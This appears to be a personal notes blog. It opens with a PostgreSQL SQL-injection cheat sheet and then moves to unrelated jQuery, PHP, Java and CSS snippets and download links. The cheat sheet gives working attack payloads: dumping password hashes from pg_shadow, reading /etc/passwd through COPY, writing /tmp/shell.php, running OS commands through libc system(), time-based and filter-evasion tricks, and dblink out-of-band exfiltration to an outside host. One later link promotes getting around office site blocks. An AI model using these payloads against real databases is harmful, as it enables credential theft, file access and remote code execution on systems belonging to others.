All stufff With postgres

Note:

#PostgreSQL and PHP supports Batched Queries.

Version:

SELECT VERSION()



Directories:

SELECT current_setting(‘data_directory’)

SELECT current_setting(‘hba_file’)

SELECT current_setting(‘config_file’)

SELECT current_setting(‘ident_file’)

SELECT current_setting(‘external_pid_file’)



Users:

SELECT user;

SELECT current_user;

SELECT session_user;

SELECT getpgusername();



Current Database:

SELECT current_database();



Concatenation:

SELECT 1||2||3; #Returns 123



Get Collation:

SELECT pg_client_encoding(); #Returns your current encoding (collation).



Change Collation:

SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.

SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.

SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.

SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.



Wildcards in SELECT(s):

SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.

SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.



Regular Expression in SELECT(s):

#Returns all columns matching the regular expression.

SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;



SELECT Without Dublicates:

SELECT DISTINCT foo FROM bar



Counting Columns:

SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.



Get Amount of PostgreSQL Users:

SELECT COUNT(*) FROM pg_catalog.pg_user



Get PostgreSQL Users:

SELECT usename FROM pg_user



Get PostgreSQL User Privileges on Different Columns:

SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges



Get PostgreSQL User Privileges:

SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user



Get PostgreSQL User Credentials & Privileges:

SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow



Get PostgreSQL DBA Accounts:

SELECT * FROM pg_shadow WHERE usesuper IS TRUE

SELECT * FROM pg_user WHERE usesuper IS TRUE



Get Databases:

SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL

SELECT datname FROM pg_database

SELECT schema_name FROM information_schema.schemata

SELECT DISTINCT schemaname FROM pg_tables

SELECT DISTINCT table_schema FROM information_schema.columns

SELECT DISTINCT table_schema FROM information_schema.tables



Get Databases & Tables:

SELECT schemaname,tablename FROM pg_tables

SELECT table_schema,table_name FROM information_schema.tables

SELECT DISTINCT table_schema,table_name FROM information_schema.columns



Get Databases, Tables & Columns:

SELECT table_schema,table_name,column_name FROM information_schema.columns



SELECT A Certain Row:

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.

…

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.



Conversion (Casting):

SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.



Substring:

SELECT SUBSTR(‘foobar’,1,3); #Returns foo.

SELECT SUBSTRING(‘foobar’,1,3); #Returns foo.



Hexadecimal Evasion:

#Not as fancy as in MySQL, but it sure works!

SELECT decode(’41424344′,’hex’); #Returns ABCD.

SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.



ASCII to Number:

SELECT ASCII(‘A’); #Returns 65.



Number to ASCII:

SELECT CHR(65); #Returns A.



If Statement:

#Impossible in SELECT statements.

#However, here’s a work-around with sub-select(s).

SELECT (SELECT 1 WHERE 1=1); #Returns 1.

SELECT (SELECT 1 WHERE 1=2); #Returns NULL.



Case Statement:

#May be used instead of the If-Statement.

SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.



Read File(s):

CREATE TABLE file(content text);

COPY file FROM ‘/etc/passwd’;

UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;

UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;

…

UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;

DROP TABLE file;



Write File(s):

CREATE TABLE file(content text);

INSERT INTO file(content) VALUES (‘’);

COPY file(content) TO ‘/tmp/shell.php’;



Logical Operator(s):

#http://en.wikipedia.org/wiki/Logical_connective

AND

OR

NOT



Comments:

SELECT foo, bar FROM foo.bar/* Multi line comment */

SELECT foo, bar FROM foo.bar– Single line comment



A few evasions/methods to use between your PostgreSQL statements:

CR (%0D); #Carrier Return.

LF (%0A); #Line Feed.

Tab (%09); #The Tab-key.

Space (%20); #Most commonly used. You know what a space is.

Multiline Comment (/**/); #Well, as the name says.

Parenthesis, ( and ); #Can also be used as separators when used right.



Parenthesis instead of space:

#As said two lines above, the use of parenthesis can be used as a separator.

SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));



Auto-Casting to Right Collation:

SELECT CONVERT_TO(‘foobar’,pg_client_encoding());



Benchmark:

#Takes about 7.5 seconds to perform this logical operation.

#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.

SELECT (||/(9999!));



Sleep:

SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.



Get PostgreSQL IP:

SELECT inet_server_addr()



Get PostgreSQL Port:

SELECT inet_server_port()



Command Execution:

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;

SELECT system(‘echo Hello.’);



DNS Requests (OOB (Out-Of-Band)):

SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’, ‘SELECT YourQuery’) RETURNS (result TEXT);



Having Fun With PostgreSQL:

* dblink: The Root Of All Evil
* Mapping Library Functions
* From Sleeping and Copying In PostgreSQL 8.2
* Recommendation and Prevention
* Introducing pgshell

That document can be found here: Having Fun With PostgreSQL.pdf, by: Nico Leidecker.

It’s a good read. All from local privilege escalation, to port-scanning techniques.

Connect sequence to table

ALTER TABLE TABLE_NAME ALTER COLUMN COLUMN_NAME SET DEFAULT nextval('sequence_name')

Editable Divsion

Edit this text

use onClick="this.contentEditable='true'; in div tag.

Top 10 javascript frameworks

http://www.ajaxline.com/10-most-popular-javascript-frameworks"

Word Wrap in html

style="border-bottom:2px solid blue;word-wrap: break-word"

WRAP=VIRTUAL

PHP CLASSES AND IF/ELSE BLOCK

//*********************************working
$flag='3';

if($flag=='3')
{
class cc {
function __construct() {
echo 'cc!';

}
}

}

$type = 'cc';
$obj = new $type;
//****************************************not working

$type = 'cc';
$obj = new $type;
$flag='3';

if($flag=='3')
{
class cc {
function __construct() {
echo 'cc!';

}
}

}


?>

postgresql-ARRAY

expression operator ANY (array expression)
expression operator SOME (array expression)

 The right-hand side is a parenthesized expression, which must yield an
array value.
The left-hand expression
is evaluated and compared to each element of the array using the
given operator, which must yield a Boolean
result.
The result of ANY is “true” if any true result is obtained.
The result is “false” if no true result is found (including the special
case where the array has zero elements).If the array expression yields a null array, the result of
ANY will be null.  If the left-hand expression yields null,
the result of ANY is ordinarily null (though a non-strict
comparison operator could possibly yield a different result).
Also, if the right-hand array contains any null elements and no true
comparison result is obtained, the result of ANY
will be null, not false (again, assuming a strict comparison operator).
This is in accordance with SQL's normal rules for Boolean combinations
of null values.

SOME is a synonym for ANY.

ZEND TEST BOOK

http://www.boysj.com/the-zend-php-certification-practice-test-book

ZEND BLOG

http://shiflett.org/blog/2005/apr/zend-certification-self-test

PHP Scripting in Command line

1. How can I execute a PHP script using command line?
Ans : “php filename” or “php -f filename” will run a php file in command line.

Zend Exam Practice Book

google Grid

Freebase Gridworks 1.0 Overview from David Huynh on Vimeo.

Word Wrap in php

$text = "A very long woooooooooooord.";$newtext = wordwrap($text, 8, "\n", true);

echo "$newtext\n";?>

TreeMap in PHP

http://hotfile.com/dl/51508127/e754ef2/treemap.rar.html

HTML5 Reference Manual

http://www.whatwg.org/specs/web-apps/current-work/#the-a-element

Ultimate jquery example2

http://hotfile.com/dl/38051794/527324c/jqd2.zip.html

Ultimate jquery example

http://hotfile.com/dl/38051740/f4ff92b/jqd1.zip.html

Draggable Table

 http://hotfile.com/dl/38046872/ad7e544/dragTable.zip.html

Draggable Image

http://hotfile.com/dl/37827146/5f1f2b1/drag1.zip.html

Fantasy Animal Art Painting

Check out this SlideShare Presentation:

Fantasy Animal Art Painting

View more presentations from Victoria A.

Rounded Corner Division

Just add this to style tag to get rounded corner div

 

-moz-border-radius: 20px;
-webkit-border-radius: 20px;
-khtml-border-radius: 20px;border-radius: 20px;

Disable events on map

var elem=document.getElementById('loading_screen');
    OpenLayers.Event.observe(elem, "dblclick", block);
    OpenLayers.Event.observe(elem, "mousedown", block);
    OpenLayers.Event.observe(elem, "mouseUp", block);
    OpenLayers.Event.observe(elem, "click", block)

UI Slider

It will look like-

 You can download CODE from here-
http://hotfile.com/dl/36554302/6b85422/BI.php.html

No Need To Add Scroll Offset

No Need To Add Scroll Offset In OpenLayer For Controls On Map--> Just Set The Map At The Center While Doing Operations

var center = new OpenLayers.LonLat(78, 22);
    var proj = new OpenLayers.Projection("EPSG:4326");
    center.transform(proj, map.getProjectionObject());
    map.setCenter(center);

Upload any document FREE!

http://hotfile.com/

Ajax Cache-Problem with Internet Explorer.

Include those lines into php file.

header('Pragma: no-cache');
header('Cache-Control: no-cache');
header('Expires: 0');

Jquery And PHP Draggable Division

http://webdeveloperplus.com/jquery/collpasible-drag-drop-panels/

IE7 problem For select Box

document.getElementById("prabhag_Bill").options[document.getElementById("prabhag_Bill").selectedIndex].text;

Browservise innerText and textContent

var browserName=navigator.appName;
var browserVer=parseInt(navigator.appVersion); 

if(browserName=="Netscape") 
    var curentArea = currentTd.parentNode.cells[currentColoumnIndex].textContent; if(browserName=="Microsoft Internet Explorer")
    var curentArea = currentTd.parentNode.cells[currentColoumnIndex].innerText;

innerText and textContent

Use the following code in javascript to acquire the same functionality as innerText.
var myText = document.getElementById(’divText’).textContent; // same as innertext.

String In Java

public class StringBufferOperation{
    public static void main(String[] args){
        StringBuffer strBuf1 = new StringBuffer("Prashant");
        System.out.println("strBuf  " + strBuf1); //printing Prashant
        System.out.println("strBuf " + strBuf1.capacity());//16(default capacity) + 8 characters of 'Prashant' ie.24
        System.out.println("strBuf " + strBuf1.length());//showing length of string 'Prashant' ie. 8
        System.out.println("strBuf " + strBuf1.charAt(5));//showing character at position 5 ie. 0-5 ie.'a' in string 'Prashant'
       
        System.out.println("strBuf " + strBuf1.toString());//converts to a string representing the data in this string buffer.
       
       
       
        strBuf1.delete(3,5);
        System.out.println("strBuf " + strBuf1);//Printing Praant.
       
        strBuf1.insert(2,'c');
        System.out.println("strBuf " + strBuf1);// Printing Prashant as Prcashant
       
        strBuf1.setCharAt(0,'r');
        System.out.println("strBuf" +strBuf1);//It will Printing rrcshant.
       
       
        //replace(int start, int end, String str)
        // reverse()
        //append(String str)
        //setLength(int newLength)
       
        }
    }

String In Java

StringBuffer class creates a dynamic character string.

public class StringBufferDemo {

    public static void main(String[] args) {
   
        StringBuffer strBuf1 = new StringBuffer("Prashant");
       
        StringBuffer strBuf2 = new StringBuffer(100); //With capacity 100
       
        StringBuffer strBuf3 = new StringBuffer(); //Default Capacity 16
       
        System.out.println("strBuf1 : " + strBuf1);
       
        System.out.println("strBuf2 capacity : " + strBuf2.capacity());
       
        System.out.println("strBuf3 capacity : " + strBuf3.capacity());
    }
}

Jquery Basics

Lesson from link-->http://www.catswhocode.com/blog/learning-jquery-the-basics


1>$(document).ready(function() {});

in jquery is same as

window.onLoad() in javascript

2>$('.comments')

if you use 'p' instead '.coments' then jquery will find all paragraphs.
Same thing for CSS just use '#' instead '.'

3>$('.comments').addClass('stripe');

Stripe would add gray background to comments.
Another example-->$('.comments:odd').addClass('stripe');

4>$('.comments').mouseOver(function() {
$('this').addClass('hover');
});

Remove class on mouseover.
Another example like this-->
$('comments').mouseOut(function() {
$('this').removeClass('hover');
});

AMCHARTS [Flash]

Attractive Flash Charts
Link-->http://www.amcharts.com/radar/

AMMAPS [Flash]

Free Attractive Flasf-Maps

 Link->http://www.ammap.com/

Picture Paste

Frustrated by not being able to paste pictures into Gmail or  Google docs?
Simply Go->

http://www.picturepaste.com/

Slide Techniques

New Slide Techniques

https://mail.google.com/mail/?shva=1#inbox/12699900dc979321

Draggable Elements

Lovely Draggable Elements[Free To Use].

http://www.dhtmlgoodies.com/index.html?page=dragDrop

PhotoShop KeyBoard ShortCuts...Try..It's Really Helpfull.

http://www.smashingmagazine.com/2010/02/10/photoshop-keyboard-shortcuts-cheat-sheet-pdf/

Link Of The Day

Link Of The Day->


http://gapingvoid.com/books/

Jquery Menu With Download

Best Jquery Menus [Its Free To Use]-->

http://www.1stwebdesigner.com/resources/38-jquery-and-css-drop-down-multi-level-menu-solutions/

Open Blocked Sites.

To Access Blocked Sites In Your Office-->

http://www.hongkiat.com/blog/how-to-access-blocked-web-sites/

Scroll Offset

To make scroll onload at bottom i.e.(offset plus)
document.element.scrollIntoView(true);

And
To Make scroll on top i.e.(offset minus)
document.element..scrollIntoView(false);

Image Edit

Best site to edit images online. It is free to use.

http://services.limcorp.net/

Browser Detect

The same code to detect broser in jquery can be seen on-->

http://javascriptly.com/2008/09/javascript-to-detect-google-chrome/

JQUERY Browser DETECT

var is_chrome = /chrome/.test( navigator.userAgent.

toLowerCase() );
var is_mozilla = /mozilla/.test( navigator.userAgent.toLowerCase() ) && !/(compatible|webkit)/.test( navigator.userAgent.toLowerCase() );
var is_safari=/webkit/.test( navigator.userAgent.toLowerCase() ) && !/chrome/.test( navigator.userAgent.toLowerCase() );
var is_msie=/msie/.test( navigator.userAgent.toLowerCase() ) && !/opera/.test( navigator.userAgent.toLowerCase() );
var userAgent = navigator.userAgent.toLowerCase();

// Figure out what browser is being used
jQuery.browser = {
version: (userAgent.match( /.+(?:rv|it|ra|ie|me)[\/: ]([\d.]+)/ ) || [])[1],
chrome: /chrome/.test( userAgent ),
safari: /webkit/.test( userAgent ) && !/chrome/.test( userAgent ),
opera: /opera/.test( userAgent ),
msie: /msie/.test( userAgent ) && !/opera/.test( userAgent ),
mozilla: /mozilla/.test( userAgent ) && !/(compatible|webkit)/.test( userAgent )
};

jquery

Best charts in jquery


http://www.anychart.com/products/anychart/gallery/

Templates.

Following link contais many of flash tempaltes. It's free to use.

http://designbump.com/Flash